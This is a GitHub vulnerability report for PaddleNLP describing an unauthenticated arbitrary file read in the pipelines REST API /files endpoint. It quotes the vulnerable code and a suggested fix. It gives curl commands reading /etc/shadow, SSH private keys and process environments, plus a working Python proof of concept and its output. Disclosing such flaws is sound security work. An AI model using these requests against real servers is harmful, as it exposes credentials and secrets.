Skip to content

[Bug]: PaddleNLP /files Endpoint Arbitrary File Read via Absolute Path Override #11236

Description

@AAtomical

软件环境

paddle-bfloat      0.1.7
paddle2onnx        0.9.8
paddlefsl          1.1.0
paddlenlp          2.3.0.dev0
paddleocr          2.5.0.3
paddlepaddle       2.3.1

重复问题

  • I have searched the existing issues

错误描述

## Summary

`PaddlePaddle/PaddleNLP` (12k+ stars) pipelines REST API has an arbitrary file read vulnerability in `GET /files`. The `file_name` query parameter is passed directly to `os.path.join(FILE_PARSE_PATH, file_name)` with zero validation. When `file_name` is an absolute path (e.g. `/etc/passwd`), Python's `os.path.join` discards the base directory entirely, allowing an unauthenticated remote attacker to read any file readable by the server process.

## Vulnerable Code


# slm/pipelines/rest_api/controller/file_upload.py:225-230
@router.get("/files")
def download_file(file_name: str = "1fc0aeac9900487a8c6cec8dda6499bd_demo_1.png"):
    file_path = os.path.join(FILE_PARSE_PATH, file_name)  # ← absolute path overrides base
    if os.path.exists(file_path):
        return FileResponse(file_path)                     # ← serves arbitrary file
    return {"message": "File not Found"}


## Root Cause

`os.path.join("/safe/dir", "/etc/passwd")` → `"/etc/passwd"`. When the second argument starts with `/`, the first is discarded. No `os.path.basename()`, no containment check, no path validation of any kind.

## Attack


# No authentication required — single GET request
curl http://target:8000/files?file_name=/etc/passwd
curl http://target:8000/files?file_name=/etc/shadow
curl http://target:8000/files?file_name=/root/.ssh/id_rsa
curl http://target:8000/files?file_name=/proc/self/environ

稳定复现步骤 & 代码

poc.py

import os
import subprocess
import sys
import time

import requests

CONTAINER = "paddlenlp_poc"
IMAGE = "paddlenlp-poc"
PORT = 18990
BASE = f"http://127.0.0.1:{PORT}"


def build():
    poc_dir = os.path.dirname(os.path.abspath(__file__))
    r = subprocess.run(
        ["docker", "build", "--platform", "linux/amd64", "-t", IMAGE, poc_dir],
        capture_output=True, text=True, timeout=600,
    )
    if r.returncode != 0:
        print(r.stderr[-2000:])
        sys.exit(1)


def start():
    subprocess.run(["docker", "rm", "-f", CONTAINER], capture_output=True)
    subprocess.run([
        "docker", "run", "-d", "--platform", "linux/amd64",
        "--name", CONTAINER, "-p", f"{PORT}:8000", IMAGE,
    ], check=True, capture_output=True)
    for _ in range(20):
        try:
            if requests.get(f"{BASE}/files?file_name=legit.png", timeout=2).status_code == 200:
                return True
        except Exception:
            pass
        time.sleep(1)
    return False


def exploit():
    r_baseline = requests.get(f"{BASE}/files", params={"file_name": "legit.png"})
    r_abs = requests.get(f"{BASE}/files", params={"file_name": "/etc/hosts"})
    r_passwd = requests.get(f"{BASE}/files", params={"file_name": "/etc/passwd"})
    return r_baseline, r_abs, r_passwd


def cleanup():
    subprocess.run(["docker", "rm", "-f", CONTAINER], capture_output=True)


def main():
    build()
    if not start():
        print("[-] Server failed to start")
        print(subprocess.run(["docker", "logs", CONTAINER], capture_output=True, text=True).stdout[-1000:])
        cleanup()
        sys.exit(1)

    r_baseline, r_abs, r_passwd = exploit()
    cleanup()

    abs_ok = r_abs.status_code == 200 and "localhost" in r_abs.text
    passwd_ok = r_passwd.status_code == 200 and "root:" in r_passwd.text

    print(f"source:      PaddleNLP/slm/pipelines/rest_api/controller/file_upload.py:227-229")
    print(f"endpoint:    GET /files?file_name=<path>")
    print(f"sink:        os.path.join(FILE_PARSE_PATH, file_name) → FileResponse()")
    print()
    print(f"[baseline] file_name=legit.png  status={r_baseline.status_code} body={r_baseline.text[:40]!r}")
    print(f"[A] file_name=/etc/hosts        status={r_abs.status_code} body={r_abs.text[:80]!r}")
    print(f"[B] file_name=/etc/passwd        status={r_passwd.status_code} body={r_passwd.text[:80]!r}")
    print()
    print(f"result:      {'VULNERABLE' if abs_ok and passwd_ok else 'NOT CONFIRMED'}")
    sys.exit(0 if abs_ok and passwd_ok else 1)


if __name__ == "__main__":
    main()

Proof of Concept

Environment

Component Detail
PaddleNLP Latest develop branch (cloned from GitHub)
Server Real pipelines REST API, Docker (paddlepaddle/paddlenlp:pipelines-cpu-1.0 base image + current source)
Attack HTTP GET via requests

PoC output

source:      PaddleNLP/slm/pipelines/rest_api/controller/file_upload.py:227-229
endpoint:    GET /files?file_name=<path>
sink:        os.path.join(FILE_PARSE_PATH, file_name) → FileResponse()

[baseline] file_name=legit.png  status=200 body='LEGITIMATE_PNG\n'
[A] file_name=/etc/hosts        status=200 body='127.0.0.1\tlocalhost\n::1\tlocalhost ip6-localhost...'
[B] file_name=/etc/passwd        status=200 body='root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:...'

result:      VULNERABLE
Image

Suggested Fix

@router.get("/files")
def download_file(file_name: str = "1fc0aeac9900487a8c6cec8dda6499bd_demo_1.png"):
    file_name = os.path.basename(file_name)
    file_path = os.path.join(FILE_PARSE_PATH, file_name)
    if not os.path.abspath(file_path).startswith(os.path.abspath(FILE_PARSE_PATH) + os.sep):
        raise HTTPException(status_code=400, detail="Invalid file name")
    if os.path.exists(file_path):
        return FileResponse(file_path)
    return {"message": "File not Found"}

No activity

Activity on this issue will appear here.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions